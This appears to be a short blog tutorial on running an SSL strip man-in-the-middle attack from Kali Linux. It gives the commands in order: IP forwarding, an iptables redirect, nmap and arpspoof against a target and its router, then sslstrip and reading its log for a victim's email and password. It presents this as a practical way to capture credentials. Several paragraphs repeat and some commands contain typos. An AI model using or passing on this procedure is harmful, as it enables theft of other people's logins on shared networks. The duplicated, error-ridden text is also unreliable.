What is SSL Strip?
SSL strip is a type of man in the middle attack in which the request is converted to HTTP from an HTTPS request and then sent to the website through the router and then the browser connects to website through the HTTP connection.
HTTPS is more secured that HTTP(According to security professionals) but according to hackers "EVERYTHING is Shit".
What you need?
This will not work on Facebook as the traffic is encrypted thus you won't get the username and password.
SSL strip is a type of man in the middle attack in which the request is converted to HTTP from an HTTPS request and then sent to the website through the router and then the browser connects to website through the HTTP connection.
HTTPS is more secured that HTTP(According to security professionals) but according to hackers "EVERYTHING is Shit".
What you need?
- Kali Linux installed on Vmware
- Android phone with Fing - Network Tools (optional)
- Start your virtual machine.
- Open the terminal and then type ifconfig. It will give you the list of interfaces. Note the wireless LAN interface(wlan*).
- Now type the commands echo 1 > /proc/sys/net/ipv4/ip_forward and then type iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-prot 8080 to forward the traffic.
- Then you can type the commands route -n (for gateway ip) and nmap -sS -O gateway ip (for target ip) or you can simply open the Fing - Network Tools to find out the router and target ip.
- Now to start the ARP spoofing by typing the command arpsoof -i wlan0 -t 192.168.1. 123 -r 192.168.1.1 . Here wlan0 can be replaced by your wireless LAN interface like wlan0, wlan1, wlan2, etc and the ip after -t is you target ip and the ip after -r is the router ip.
- Keep the arpspoof terminal running and then open a new terminal window and then type sslstrip -l 8080.
- Now wait after the target logs into any site you will get a little details on the sslstrip window. Open a new terminal window and type cat sslstrip.log this command will open the log file and try to locate an mail id and password.
This will not work on Facebook as the traffic is encrypted thus you won't get the username and password.
No comments :
Post a Comment